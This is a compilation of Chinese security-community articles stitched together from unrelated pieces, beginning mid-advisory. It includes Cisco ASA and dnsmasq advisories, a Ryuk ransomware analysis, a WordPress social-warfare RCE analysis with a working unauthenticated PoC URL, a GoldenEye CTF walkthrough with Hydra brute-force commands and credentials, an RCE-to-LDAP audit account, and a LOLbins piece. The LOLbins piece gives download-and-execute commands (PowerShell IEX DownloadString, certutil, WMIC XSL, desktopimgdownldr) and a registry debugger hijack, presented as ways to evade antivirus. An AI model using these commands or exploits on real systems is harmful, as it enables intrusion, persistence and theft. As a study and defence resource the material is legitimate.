Cisco ASA 5500-X Series Next-GenerationFirewalls
Cisco ASA Services Module for Catalyst 6500 Series Switches
Cisco 7600 Series Routers
Cisco ASA 1000V Cloud Firewall
Cisco Adaptive Security Virtual Appliance(ASAv)
Cisco Firepower 4100 Series
Cisco Firepower 9300 ASA Security Module
Cisco Firepower Threat Defense Software
Cisco Firewall Services Module (FWSM)*
Cisco Industrial Security Appliance 3000
Cisco PIX Firewalls*
**五、解决办法（官方）：**
Administrators are advised to allow onlytrusted users to have SNMP access and
to monitor affected systems using thesnmp-server host command.
The SNMP chapter of the Cisco ASA SeriesGeneral Operations CLI Configuration
Guide explains how SNMP is configured inthe Cisco ASA.
The attacker must know the communitystrings to successfully launch an attack
against an affected device. Communitystrings are passwords that are applied to
an ASA device to restrict bothread-only and read-write access to the SNMP data
on the device. These communitystrings, as with all passwords, should be
carefully chosen to ensure they arenot trivial. Community strings should be
changed at regular intervals and inaccordance with network security policies.
For example, the strings should bechanged when a network administrator changes
roles or leaves the company. | 社区文章 |
# Ryuk勒索病毒更新，俄罗斯黑客团伙幕后开发运营
##### 译文声明
本文是翻译文章，文章原作者 CyberThreatAnalyst，文章来源：CyberThreatAnalyst
原文地址：<https://mp.weixin.qq.com/s/HSb06PQQfhLL4uEDyz5DCA>
译文仅供参考，具体内容表达以及含义原文为准。
Ryuk勒索病毒最早在2018年8月由国外某安全公司发现并报道，此勒索病毒主要通过垃圾邮件或漏洞利用工具包进行传播感染，相关报道指出Ryuk的代码与Hermes勒索病毒代码非常相似，而Hermes恶意软件则与臭名昭着的朝鲜Lazarus
APT网络犯罪组织有关，那Ryuk勒索病毒是不是也是由朝鲜Lazarus
APT组织运营和传播的呢？其实不是，根据CrowdStrike安全公司的报道说明Ryuk勒索病毒是由黑客组织GRIM SPIDER开发，GRIM
SPIDER自2018年8月以来一直在幕后运营Ryuk勒索软件，攻击的目标主要是一些国外大型企业与机构，从这些大型企业获得高额的赎金，这款勒索病毒曾经还利用TrickBot银行木马的渠道来传播自己，因为TrickBot银行木马传播渠道的运营者是俄罗斯黑客团伙WIZARD
SPIDER，GRIM SPIDER是俄罗斯黑客团伙WIZARD SPIDER的部门之一
Ryuk这款勒索病毒在国外非常流行，国外相关媒体曾报道美国多家大型报社被该勒索病毒攻击，导致发货中断，造成巨大损失，事实上任何一款流行的勒索病毒样本背后都有一个强大的黑产运营团队持续运营，就像GandCrab勒索病毒一样，勒索病毒运营团队负责这款勒索病毒的渠道更新扩展与传播、样本的变种与改进、以及解密赎金的运作等等，Ryuk勒索病毒背后也一定有一支强大的黑客运营团队……
昨天国外恶意样本威胁研究团队MalwareHunterTeam捕获到了一例新的Ryuk勒索病毒变种，该变种添加了一些IP地址黑名单，相匹配的计算机不会被加密，同时这款勒索病毒样本采用了数字签名，使用的数字签名信息，如下所示：
查看证书，如下所示：
数字证书的有效期为2019/6/13-2020/6/13，数字证书颁发者机构网站：
<https://www.thawte.com/repository/>
此勒索病毒运行行为截图，如下所示：
主机文件被加密后的文件后缀名为RYK,如下所示：
同时生成勒索信息超文本文件RyukReadMe.html，如下所示：
黑客只留下了联系方式，受害者需要联系黑客进行解密，两个邮箱地址，如下：
[[email protected]](mailto:[email protected])
[[email protected]](mailto:[email protected])
## 勒索病毒核心技术剖析
此变种样本同样采用了代码混淆加壳等技术，通过动态调试，解密出相关的数据，如下所示：
二次解密数据，如下所示：
最后再解密出相应的勒索病毒核心代码，经过了三次解密操作，在内存中还原最终的勒索病毒核心Payload程序，如下所示：
分析勒索病毒核心Payload，可以发现它增加了一IP黑名单字符串，在这些名单之内的主机不会被加密，直接退出，如下所示：
相应的IP地址字符串列表，如下：
10.30.4、10.30.5、10.30.6、10.31.32
同时它还增加了计算机名与相应的字符串进行比较，如果计算机名中包含这些字符串，则不加密主机，如下所示：
获取的计算机名称与下面的一些字符串：
“SPB”，“Spb”，“spb”，“MSK”，“Msk”和“msk”进行比较， 如果计算机名称包含这些字符串中的任何一个，Ryuk将不会加密此计算机
这款勒索病毒也检测了操作系统语言，如果为相关地区语言的主机，则不加密主机，如下所示：
相关的地区列表，如下：
419(LANG_RUSSIAN 俄 语 )、
422(LANG_UKRAINIAN 乌克兰) 、
423(LANG_BELARUSIAN 白俄罗斯)
可以看到它主要是躲避了俄罗斯的相关地区，以防这些地区的主机被加密
本文转自：[CyberThreatAnalyst](https://mp.weixin.qq.com/s/HSb06PQQfhLL4uEDyz5DCA) | 社区文章 |
**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/jqdXGIG9SRKniI_2ZhKNJQ>**
## 一、背景介绍
social-warfare是一款 WordPress社交分享按钮插件。 不同于大多数WordPress社交分享插件，social-warfar最大的优势在于其轻便性与高效性。它不会像其他共享插件一样减慢网站速度，这也是很多用户使用其作为自己网站社交分享插件的原因。
该插件被wordpress用户广泛的应用： 从官网看，该插件官方的统计是超过90万的下载量
### 1.1漏洞描述
在`social-warfare <=
3.5.2`版本中，程序没有对传入参数进行严格控制以及过滤，导致攻击者可构造恶意payload，无需后台权限，直接造成远程命令执行漏洞。
攻击成功的条件只需要如下两条：
1\. 目标wordpress站点上安装有social-warfare
2\. social-warfare插件的版本小于或等于3.5.2
只要符合以上两个条件，无需复杂的payload构造，即可通过简简单单的一个get请求，远程执行任意代码。
与wordpress自身漏洞修补不同，对于插件的漏洞，wordpress并不会在后台对该插件进行自动升级，仅仅是提示有新版本可用。
简言之，由于该机制的存在，目前还有大部分使用该插件的站长，所使用着仍存在漏洞版本的social-warfare插件，面临着被攻击的风险。
于此同时，这个漏洞，还是一个洞中洞，开发者的一连串失误，将该漏洞威胁等级逐步增高。
### 1.2受影响的系统版本
social-warfare<= 3.5.2
### 1.3.漏洞编号
**CVE-2019-9978**
## 二、漏洞细节
social-warfare安装后如下图
如图中红框所见，该插件提供了一个简洁易用的分享功能栏。
首先，通过github的commit记录，找到漏洞触发点
漏洞触发点位于`/wp-content/plugins/social-warfare-3.5.2/lib/utilities/SWP_Database_Migration.php`中的`debug_parameters`方法中
首先分析下`debug_parameters`方法
该方法提供了一种允许更容易调试数据库迁移功能的方法。
先来看下`get_user_options`功能的代码块
此处功能模块加载 `wp-content/plugins/social-warfare-3.5.2/lib/utilities/SWP_Database_Migration.php`
中`initialize_database`方法中的`$defaults`数组中的配置信息，如下图
在访问与执行该功能模块后，返回相应的配置信息
接下来分析漏洞触发点 位于如下图中的if分支中
也就是在`’load_options’`这个功能模块中。该功能模块，是开发者用来调试数据库迁移功能的，在对用户实现实际的业务功能中，该模块并没有被使用过。
逐行分析下此功能模块 首先，可以看到如下图代码块:
如红框中所见，这里的代码看起来，需要通过`is_admin()`方法的校验。看起来，这里需要有`admin`权限才可以执行后续代码触发漏洞。按照以往经验，这是一个需要后台权限才可以代码执行的漏洞（但这里的推测并不正确，具体的见下文分析）
紧接着，通过`file_get_contents`方法，发送请求
其中的`$_GET[‘swp_url’]`我们可控，例如：
http://127.0.0.1/1.php
这样`file_get_contents`会访问
http://127.0.0.1/1.php?swp_debug=get_user_options
并将我们构造好的payload传递给$options变量
到此为止，我们通过构造链接传入`file_get_contents`，达到完全可控`$options`变量中的内容的目的
接下来，会从`$options`变量中提取出内容，并进行解析，如下图
随后，将解析出的`$options`值拼接后赋予`$array`
如使用我们案例中的`1.php`,那么`$array`的值为
return phpinfo()
接下来，`$array`中的值会传递入eval中，造成代码执行
**实际效果如下图**
**漏洞分析到此结束，本次漏洞影响很大，但漏洞自身没有什么亮点**
**接下来，看一下官方是如何修补的**
通过github的commit记录，获取此次的修补方案。
此次修补，将`lib/utilities/SWP_Database_Migration.php`中的221-284行，将`debug_parameters`方法中存在问题的`load_options`模块代码全部删除
所以不存在绕过补丁的可能性。
在分析此漏洞时，有几处有意思的地方，和大家分享一下：
**思考一：**
先来看下如下操作：
首先，我们退出wordpress登陆
可见，此时我们并没有登陆，也没有admin权限
接着，我们访问poc
http://127.0.0.1/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1/1.php
payload仍然可以触发
还记得上文此处
在漏洞分析环节，我们的猜测是，由于`is_admin`方法的校验，此处应该是后台漏洞，但是在没有登陆的情况下，仍然触发了。
这是为什么呢？
原因如下： 先来看看`is_admin`方法是如何实现的
位于`/wp-includes/load.php`中
可以看到，有一个`if-elseif`判断
在`elseif`中判断`defined (‘WP_ADMIN’)`的值
由于我们构造的payload，入口是`admin-post.php`
看一下`admin-post.php`
第3行将`WP_ADMIN`定义为true
也就是说，`is_admin`方法，检查的是：此时运行时常量`WP_ADMIN`的值是否为true。
在wordpress中，`WP_ADMIN`只是用来标识该文件是否为后台文件。大多数后台文件，都会在脚本中定义`WP_ADMIN`为true(例如`wp-admin`目录下的`admin-post.php`等)，
因此`is_admin`方法检测通过时，只能说明此是通过后台文件作为入口，调用`debug_parameters`方法，并不能有效的验证此时访问者的身份是否是admin
前台index.php无法触发
`wp-admin`目录下的`about.php`可以触发
可见，wp-admin下任意文件为入口，都可以触发该漏洞，也就是说，在构造payload以及进行防护时，需要注意
http://127.0.0.1/wordpress/wp-admin/[xxx].php?swp_debug=load_options&swp_url=http://127.0.0.1/1.php
这里xxx可以是绝大多数后台php文件
**思考二：** 访问`http://127.0.0.1/wordpress/index.php?swp_debug=get_user_options`
时，是如何将get请求中的`swp_debug=get_user_options`与`get_user_options`功能模块关联起来，调用此功能模块执行相应的功能呢？
同理，当访问`http://127.0.0.1/wordpress/index.php?swp_debug=load_options`
时，后台是如何解析get请求，并找到load_options模块的？
开始的时候，笔者以为是有相关的路由配置(类似于django中的url解析)，或者说是类似MVC结构中的控制器（类似thinkphp中的url普通模式`http://localhost/?m=home&c=user&a=login&var=value）`这样的结构，但实际真相很简单：
见下图，`SWP_Utility::debug`方法
在`debug_parameters`方法中的所有if分支中逐个执行debug方法，逐个将debug方法内注册的值（`’load_options’`、`’get_user_options’`等）和get请求中`swp_debug`的值进行比较，如果一样，则执行该功能模块的代码，如果不一样，则进入下个if中。道理同等于switch
回顾： 此次漏洞，粗看很无趣，细看很有意思
首先，传入`file_get_contents`中内容没有被限制，导致可以访问任意网址
其次，`file_get_contents`返回结果，没有经过任何过滤，直接被eval执行
最终，`is_admin`方法，本来应该将此漏洞限制在后台，但错误的权限控制，导致无需后台权限的代码执行
而且，开发者根本不改，直接删除功能模块了事
## 三、修复建议
目前官方已修复该漏洞，可从官网下载最新版本。由于官方已经将存在漏洞的代码段彻底删除，不存在后续补丁绕过等问题。
* * * | 社区文章 |
原文：<https://resources.infosecinstitute.com/goldeneye-1-ctf-walkthrough-part-1/>
在本文中，我们将为读者详细介绍如何完成由作者Creosote发表在VulnHub上的一个CTF挑战，即“GoldenEye
1”。根据该挑战题目作者的介绍，这是一个中等难度的CTF挑战，目标是获取隐藏在root目录中的旗标。
VulnHub是这样一个平台：提供大量的含有漏洞的机器，让安全从业者通过实践的方式，丰富自己在信息安全方面的经验。这种做法的最大优点是，为用户提供了一种安全且合法的环境，在这个环境中，可以通过一系列挑战题目来学习和砥砺自己的黑客技能。
为了搞定这个挑战题目，首先需要搭建相应的机器环境。为此，可以从[这里](https://resources.infosecinstitute.com/goldeneye-1-ctf-walkthrough-part-1/%E2%80%A2%09https:/download.vulnhub.com/goldeneye/GoldenEye-v1.ova
"这里")下载对应的VM，以便在Virtual Box中运行它。
请注意：对于本文推荐下载的虚拟机，都是在Oracle的Virtual Box环境下运行的。其中，我们使用Kali
Linux作为迎接该CTF挑战的攻击方机器。需要声明的是，文中所述的技术仅限于教育目的，否则的话，责任自负。
**闯关过程**
* * *
在Virtual
Box中下载并运行相关的虚拟机后，我们需要找到目标机器的IP地址。为此，首先运行Netdiscover命令，来获取目标计算机的IP地址。下图给出了该命令的输出结果：
使用的命令：Netdiscover
如图所示，对于本CTF挑战来说，目标机器的IP地址为109.168.1.10。
请注意：攻击目标和攻击方计算机的IP地址可能跟这里显示的不同，具体取决于您的网络配置。
接下来，让我们开始考察这个机器。第一步是找出目标机器上可用的端口和服务。为此，可以在目标机器使用Nmap进行全端口扫描，具体如下图所示。
使用的命令： nmap 192.168.1.10 -Pn -p- -sV
如上图所示，目标计算机上有4个可用的开放端口。由于目标机器上的端口80是开放的，所以，不妨先检查应用程序。利用浏览器访问目标机器的IP，这时将会看到一个网页，具体如下图所示。
在上面的屏幕截图中，显示的文字中提供了一条线索：给出了“navigate to /sev-home/
”的提示。所以，让我们通过浏览器打开这个文件夹，看看能否有所发现，具体如下图所示。
您可以看到，上面的页面要求进行身份验证，因为它提示我们输入用户名和密码。
于是，我开始检查主页的html内容，看看能否找到有用的线索。经过一番努力，我发现索引页面有一些有趣的东西，值得进一步探索，具体如下图所示。
在上面的屏幕截图中，在突出显示的区域中有一个名为“terminal.js”的JavaScript文件，它引起了我们的注意。于是，我们在另一个浏览器窗口中打开这个JavaScript文件，具体如下图所示。
我们在代码注释中找到了两个用户名，分别为：
1. Boris
2. Natalya
此外，我们还发现了一个编码的字符串，具体见上图中的高亮显示的区域。通过用户的注释可以看出，这就是一个密码。让我们对这个字符串进行解码，并尝试使用这些凭证来登录该应用程序。
经过编码的字符串如下所示。
InvincibleHack3r
为了对这个字符串进行解码，可以在HTML解码器中设置Burp Decoder工具，具体如下图所示。
如您所见，我们已经通过解码得到了密码。由于前面已经找到了两个有效的用户名，所以，现在就可以尝试使用这些凭证来登录应用程序了。
解码后的密码： InvincibleHack3r
从上面的截图中可以看出，我们已成功登录了“GoldenEye”应用程序。值得注意的是，主页上提供了一些有趣的信息，具体见图中突出显示部分，其中的消息如下：
“Remember, since security by obscurity is very effective, we have configured our pop3 service to run on a very high non-default port …”
从上面的消息中，我们可以了解到，在某个非默认端口上运行的是POP3服务。由于在第一步中就对目标IP进行了前面的Nmap扫描，因此，找到运行POP3服务器的端口也非难事。
此外，在分析“terminal.js”的HTML内容时，我们在注释中发现了目标系统使用的默认密码。因此，我们打算尝试使用Hydra来爆破pop3服务，为此，可以使用上一步中找到的用户名“boris”。Hydra命令的输出结果如下图所示。
使用的命令： hydra -l boris -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.10 -s
5007 pop3
在上图突出显示的区域中，我们可以看到，蛮力攻击成功破解出了用户“boris”的密码。
接下来，我们再次重复上述过程来破解用户“natalya”的密码。实际上，第二次扫描就成功破解了用户“natalya”的密码，具体如下图所示。
使用的命令： hydra -l natalya -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.10
-s 55007 pop3
到目前为止，我们已经找到了两个用户名及其相应的密码，具体组合如下所示。
用户名 | 密码
---|---
boris | secret1!
natalya | bird
好了，下面开始尝试使用这些凭证来登录目标应用程序。在这里，我们使用用户"boris"的相关凭证，借助Netcat程序，通过pop3端口成功登录到了目标服务器，具体如下所示。
使用的命令：
* nc 192.168.1.10 55007 （使用Netcut连接到目标系统，端口为55007）
* USER boris（通过该命令输入用户名boris）
* PASS secret1! （使用该命令输入用户的密码。之后，我们从目标计算机收到了登陆成功的消息，说明已在目标系统上成功通过了身份验证）
* LIST（用于显示目标系统上所有可用的电子邮件）
通过上述命令，我们发现目标系统上共有3封电子邮件。接下来，我们不妨阅读这些邮件，看看是否能找到有关目标机器的相关线索。各封电子邮件的内容如下所示：
在上面的屏幕截图中，root用户在目标计算机上向用户“boris”发送了一封电子邮件，由此可以看出，root用户并没有对电子邮件进行安全扫描。第2封电子邮件可以在下面的屏幕截图中看到。
这封电子邮件来自用户“natalya”，声称她可以破解Boris的代码。现在，让我们来查看第3封电子邮件。
在上图中，我们可以看到一封电子邮件，其中GoldenEye的访问密码是作为附件发送的，这些附件保存在root目录中。但我们无法从这里阅读附件。
为此，不妨转到“natalya”并查看其内容。在下面的屏幕截图中，可以看到所用的登陆命令与使用“boris”用户名登陆时一样，只不过用户名变成了“natalya”而已。
以用户“natalya”登录后，我们可以看到该文件夹中有两条消息。接下来，我们来看看这些消息，其中第一条消息内容如下所示。
在上图中，我们可以看到，目标计算机上有来自root用户的电子邮件。现在，我们来查看第二封电子邮件。
在上图中，突出显示的部分是我们找到的一些有用信息。此外，我们还有另一组用户登陆凭证，具体如下所示。
用户名： xenia
密码： RCP90rulez!
域名： severnaya-station.com
URL: severnaya-station.com/gnocertdir
在下一篇文章中，我们将使用这些信息继续挑战该CTF题目。在此之前，读者不妨自己先动手试一下。在本文的第2部分中，我们将详细介绍如何克服后面的挑战，进而从root目录中找到相应的旗标。
**参考资源**
* * *
[POP3
Commands](https://www.electrictoolbox.com/article/networking/pop3-commands/
"POP3 Commands"), Electric Toolbox
[Moodle – Remote Command Execution (Metasploit)](https://www.exploit-db.com/exploits/29324/ "Moodle – Remote Command Execution \(Metasploit\)"),
Exploit Database
[Vulnerability & Exploit
Database](https://www.rapid7.com/db/modules/exploit/multi/http/moodle_cmd_exec
"Vulnerability & Exploit Database"), Rapid7
[‘overlayfs’ Local Privilege Escalation](https://www.exploit-db.com/exploits/37292/ "‘overlayfs’ Local Privilege Escalation"), Exploit
Database
[GoldenEye: 1](https://www.vulnhub.com/entry/goldeneye-1,240/ "GoldenEye: 1"),
VulnHub
[Download GoldenEye](https://download.vulnhub.com/goldeneye/GoldenEye-v1.ova
"Download GoldenEye"), VulnHub
[Download GoldenEye
(torrent)](https://download.vulnhub.com/goldeneye/GoldenEye-v1.ova.torrent
"Download GoldenEye \(torrent\)"), VulnHub | 社区文章 |
# 【漏洞预警】dnsmasq: 多个严重漏洞预警
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 事件描述**
dnsmasq作为一个轻量级的DNS和DHCP服务器，得益于它的简单易用，在中小企业环境和云平台中被广泛使用，包括libvirt等在内组件都会直接使用它作为支撑。
2017年10月2日, 由Google安全团队发现的多个 dnsmasq 安全漏洞被披露。
据悉，其中漏洞编号为 **CVE-2017-14491** , **CVE-2017-14492** , **CVE-2017-14493**
的三个漏洞被相关厂商标记为 **严重** 等级， 剩余编号为 CVE-2017-14494, CVE-2017-14495, CVE-2017-14496,
CVE-2017-13704 的漏洞被标记为 **重要** 等级。
360CERT建议广大使用dnsmasq的用户尽快进行排查升级处理。
**0x01 事件影响面**
**影响面**
受影响的dnsmasq服务遭受远程任意代码执行攻击或远程拒绝服务攻击，造成主机被入侵或服务不可用，危害严重。
**影响版本**
其中部分漏洞利用所需的环境非并非默认，需要单独配置的，具体如下：
**修复版本**
**Version 2.78**
**0x02 部分漏洞技术信息**
**CVE-2017-14491:** **严重**
CVE-2017-14491
是这批漏洞列表中最严重的漏洞，且影响了dnsmasq大部分版本。攻击者需要一个可控的恶意域名(如,evil.com)和发送DNS请求到dnsmasq，从而让dnsmasq缓存下域名返回的请求。再通过精心构造的DNS请求和回复，会导致dnsmasq出现堆上的内存越界，该漏洞可能造成任意代码执行。
内存越界信息：
**CVE-2017-14492** 和 **CVE-2017-14493: 严重**
这2个漏洞均存在于IPv6/DHCPv6功能中，一个是堆越界，另一个是栈越界。两个漏洞都可能造成代码执行，其中CVE-2017-14493的代码执行风险可以被Gcc
Stack Protector缓解。
实际环境里，这2个漏洞需要dnsmasq开启了DHCP且被绑定到IPv6接口的情况下才能被触发。此外，攻击者需要在本地网络中且需要一个主机的root权限来构造特定的
DHCPv6 或 IPv6 Router Advertisement消息来攻击。
需要注意的是 dnsmasq 在 2.60 版本之后才开始支持 DHCPv6 和 IPv6 Router
Advertisement，所以此前的版本不受影响。
**CVE-2017-14494** **: 重要**
该漏洞存在于DHCPv6功能实现中，可造成dnsmasq内存读取越界并通过DHCPv6返回包泄露给攻击者。
如前面漏洞所述的，该漏洞影响了版本2.60 到 2.77，在版本 2.78 中被修复。
**0x03 安全建议**
1.相关Linux发行版已经提供了安全更新，请通过 yum 或 apt-get 的形式进行安全更新。
2.到官网下载最新版本构建安装
链接： <http://www.thekelleys.org.uk/dnsmasq/doc.html>
**0x04 时间线**
2017-10-02 事件披露
2017-10-09 360CERT发布预警通告
**0x05 参考链接**
1.dnsmasq: Multiple Critical and Important vulnerabilities
<https://access.redhat.com/security/vulnerabilities/3199382>
2.Behind the Masq: Yet more DNS, and DHCP, vulnerabilities
<https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html> | 社区文章 |
## 从RCE到LDAP访问
原文链接：<https://medium.com/@thbcn/from-rce-to-ldap-access-9ce4f9d2fd78>
这是我的第二篇文章，随时在Twitter[（@thibeault_chenu）](https://twitter.com/thibeault_chenu)或评论中给我反馈，这样可以帮助我。
### 介绍
几个月前，我对一家法国公司进行了安全审计。
该公司有一个网站，您可以在其中找到新闻，联系页面或下载文档。
要加载某些内容，将发送AJAX请求，它们由2个参数组成。
此请求允许您以HTML格式获取包含来自站点的最新新闻的响应。
### 远程执行代码
由此可以了解网站的工作原理。名为ajax的端点允许您使用任何类的任何方法。
在找到下面的技术之前，我尝试了使用stdClass类和方法的各种尝试，但没有任何功能。
然后我有一个想法，就是简单地删除class参数以尝试显示phpinfo（）函数。
我的想法有效，现在我怎样才能更有效地使用它？
在PHP中有一个名为system（<https://secure.php.net/manual/fr/function.system.php>）的函数，它允许您执行命令并返回此命令的结果。
system（string $ command [，int＆$ return_var]）：string
但是，正如您所看到的，我需要一个允许我放置我选择的命令的参数。为此，我将使用我在某些页面上看到的参数，此参数称为args（我知道并不是很难）。
现在我知道我可以执行任何UNIX命令，但有很多事情是可能的。在这种情况下，我将进一步搜索，因为我现在可以访问文件夹和文件以及其中的内容。
### LDAP服务器
最有趣的是我找到了配置文件，在其中我可以找到有关数据库凭据的信息。
幸运的是，我找到了一个包含一组登录和数据库密码（20个数据库）和一个LDAP服务器的配置文件。
但为什么是LDAP服务器呢？首先，让我们记住LDAP服务器是什么。
> 1.
> 我们对LDAP服务器比对数据库更感兴趣。由于服务器上安装了一个phpMyAdmin版本，即使它们在localhost外部无法访问，我也可以连接并进行访问。
>
> 2. 在轻量级目录访问协议（LDAP
> /ɛldæp/）是一个开放的，厂商中立的行业标准应用协议，用以通过互联网协议（IP）网络访问和维护分布式目录信息服务。
>
> 3. 目录服务通过允许在整个网络中共享有关用户，系统，网络，服务和应用程序的信息，在开发Intranet和Internet应用程序中发挥着重要作用。
>
> 4. 作为示例，目录服务可以提供任何有组织的记录集，通常具有分层结构，例如公司电子邮件目录。类似地，电话簿是具有地址和电话号码的订户列表。
>
> 5.
> 资料来源：[https：//en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol](https：//en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol)
>
>
为了简化对LDAP的理解，重要的是要记住它是用户的目录。此目录可用于允许用户仅连接一次并可访问各种应用程序和网站。此目录还允许打开Windows会话。
要回答“为什么网站配置文件中存在LDAP访问？”这一问题，这些访问允许您为站点上经过身份验证的用户定义权限。
要连接到MacOS下的公司LDAP服务器，我发现很少有免费应用程序，我个人使用LDAPSoft。
如果你有一个开源替代品我很感兴趣，因为当每个用户有大约40个字段时，使用终端连接到LDAP服务器很烦人。
LDAP凭据的访问权限仅限于读取权限，我无法修改用户的数据。
感谢维基百科和LDAP服务器，我能够知道安全漏洞涉及40,000人。
对于我能够访问的每个人：
> 1. 名字和姓氏
>
> 2. 个人电邮地址
>
> 3. 出生日期
>
> 4. 电话号码
>
> 5. 密码清除（随机数......）
>
> 6. 有关RFID标签（MiFare）的信息
>
> 7. 用于启动Windows会话的个人目录
>
>
每个员工的RFID标签允许访问公司的建筑物，可以购买空白RFID标签以输入LDAP服务器中存在的信息，从而欺骗性地访问建筑物。
我知道这种类型的标签并不昂贵且易于编程。
### 短信紧急警报
有一个我以前从未在其它公司见过的系统，该系统可以向公司的所有员工发送警报短信，以防入侵大楼或恐怖袭击。
实际上，通过搜索其中一个配置文件，我能够从SMS发送服务获取API密钥。
使用此密钥的简单HTTP请求将允许我向整个公司发送SMS。
### 结论
> 1. 获取40,000名前雇员或雇员的信息，
>
> 2. 访问大约20个数据库的可能性，
>
> 3. 是否可以使用RFID标签（？）访问公司的建筑物，
>
> 4. 是否可以获取每个用户的密码，从而获得其他访问权限（？）
>
>
**该公司被警告并纠正了RCE的缺陷。** | 社区文章 |
# 浅谈Living Off the Land Binaries
##### 译文声明
本文是翻译文章，文章原作者 酒仙桥6号部队，文章来源：酒仙桥6号部队
原文地址：[https://mp.weixin.qq.com/s?src=11×tamp=1605858435&ver=2717&signature=iMr6flPn1NZQu3VCgtn8hLYDedufnaDAJn-QdKvPtZgtUQRotqvLC4TZzSzOlF-ik--Z0ReyNSbb6KhsnUUo0yzjZGqv7qdayi6i7RP6ADeiPFE9sZC0vrTE71xPwVq*&new=1](https://mp.weixin.qq.com/s?src=11×tamp=1605858435&ver=2717&signature=iMr6flPn1NZQu3VCgtn8hLYDedufnaDAJn-QdKvPtZgtUQRotqvLC4TZzSzOlF-ik--Z0ReyNSbb6KhsnUUo0yzjZGqv7qdayi6i7RP6ADeiPFE9sZC0vrTE71xPwVq*&new=1)
译文仅供参考，具体内容表达以及含义原文为准。
## 什么是Living off the land Binaries？
Living off the land Binaries简称LoLbins。Living off the land
是由ChristopherCampbell和MattGraeber提出的。Lolbins为二进制文件。攻击方可以通过该二进制文件执行超出其本身功能的工作。
这个下载二进制文件还要你讲？和我自己做的C2下载文件有啥区别！大佬别急，听我说。
## LOLbins/lib/script 定义
1.它是操作系统本身文件，或者是从Microsoft下载的文件。总之它必须带有windows自身签名文件。
2.由于是windows自身签名文件，所以一般天然带有免杀的属性,能通过很多应用程序的白名单。
3.它具有APT功能或者一些对我们红队有用的功能。像去年2019年TA505利用LoLbin和新型后门攻击金融行业。
## LoLbin功能：
1.执行代码
任意代码执行。
通过LOLbins执行其他程序（未带微软签名）或者脚本。
2.代码编译
3.文件操作
正在下载；
上传；
复制。
4.持久性权限维持
利用现有的LOLBins来做权限维持。
持久性（比如通过隐藏数据在AD中，在登录时候启动。）
5.UAC Bypass
6.转储进程内存
7.监控（例如键盘记录器，网络跟踪等等）。
8.逃避/修改日志
9.不需要重定位到文件系统其他位置的DLLinjected/side-loading。
## 常见的下载LoLbins
要说到LOLbins最著名且最常见的是PowerShell以及Windows管理工具WMI还有CertUtil工具。讲download为主的lolbin。
PowerShell：
Windows PowerShell 是一种命令行外壳程序和脚本环境，使命令行用户和脚本编写者可以利用.NETFramework的强大功能。
在服务器上设置一个打开计算器的ps脚本。
远程下载命令：
(New-Object Net.WebClient).DownloadString("http://xx.xx.xx.xx /test.ps1")
远程下载&执行命令：
Invoke-Expression (New-Object
Net.WebClient).DownloadString("http://xxx.xx.xx.xx/test.ps1")
WMI：
WMIC扩展WMI，提供了从命令行接口和批命令脚本执行系统管理的支持。
服务器上远程放xsl文件：
远程下载执行命令：
os get /format:"http://xx.xx.xx.xxx/test2.xsl"
绑定程序运行（当test.exe运行时，cmd.exe也将运行）：
wmic.exe process call create "C:\\Windows\\system32\\reg.exe add
\\\\"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File
Execution
Options\\test.exe\\" /v \\"Debugger\\" /t REG_SZ /d \\"cmd.exe\\"/
f"
当然还有之前比较火的无文件wmic后门等等。。。。
CertUtil
CertUtil.exe是Microsoft旨在用于处理证书颁发机构（CA）数据和组件的管理命令行工具。这包括验证证书和证书链，转储和显示CA配置信息以及配置证书服务。
路径:
C:\Windows\System32\certutil.exe
C:\Windows\SysWOW64\certutil.exe
下载命令：
certutil.exe -urlcache -f UrlAddress Output-File-Name.txt
远程下载并隐藏在ADS数据流中:
certutil.exe -urlcache -split -f https://xx.xx.xx.xx/xx c:\\temp:ttt
这三者大部分已经能大多数AV,EDR等等识别。。。
所以我们需要新的LOLbin来执行我们的要达到的效果。
## 新型下载LOLBIN
Desktopimgdownldr.exe功能
用于设置锁定屏幕或桌面背景图像作为个性化CSP一部分.CSP在WIN10 1703之后引入。
用户如果没有用过CSP，那么路径不存在。
C:\Windows\Personalization
默认图片下载和存放路径：
C:\windows\Personalization\LockScreenImage\LockScreenImage_%random%.jpg
Desktopimgdownldr默认用法：
desktopimgdownldr /lockscreenurl:https://domain.com:8080/file.exe /
eventName：randomname
用法
管理员运行，该文件会设置并覆盖用户锁定的屏幕图像，并生成注册表，我们需要将其注册表删除，避免将其屏幕覆盖。
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe
/lockscreenurl: https://xx.xx.xx.xx/xxx.ps1 && reg delete
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP
/f
注册表路径：
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP
由于二进制文件desktopimgdownldr中的FunctionSHExpandEnvironmentStringsW使用硬编码地址，所以非管理员也能使用，而且无需注册表。
%systemroot%\Personalization\LockScreenImage
普通用户运行：
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe
/lockscreenurl: https://xx.xx.xx.xx/xxx.ps1 /eventName:desktopimgdownldr
Debug
个人进行尝试的时候，发现普通用户执行命令不能成功执行命令。
管理员执行成功了。同时生成了注册表。
C:\Windows\system32>desktopimgdownldr
/lockscreenurl:http://xx.xxx.xx.xx/test.ps1 /eventName:randomname
我的机器环境使用了COM +注册目录。因为修改了%systemroot%目录导致文件找不到它。
mklink /J "%TEMP%\Registration" C:\windows\Registration && set
"SYSTEMROOT=%TEMP%" && cmd /c desktopimgdownldr.exe
/lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr &
rmdir /s /q "%TEMP%\Registration"
重新建立软连接后可以在普通用户下成功运行。
有意思的是我用ProcessMonitor发现与之通信的是svhosts而不是desktopimgdownldrPM过滤后筛选出来desktopimgdownldr却没有任何网络流量。
筛选出svchost的网络流量，确实是svchost与服务器通信。
wireshark跟踪tcp流信息。
建议
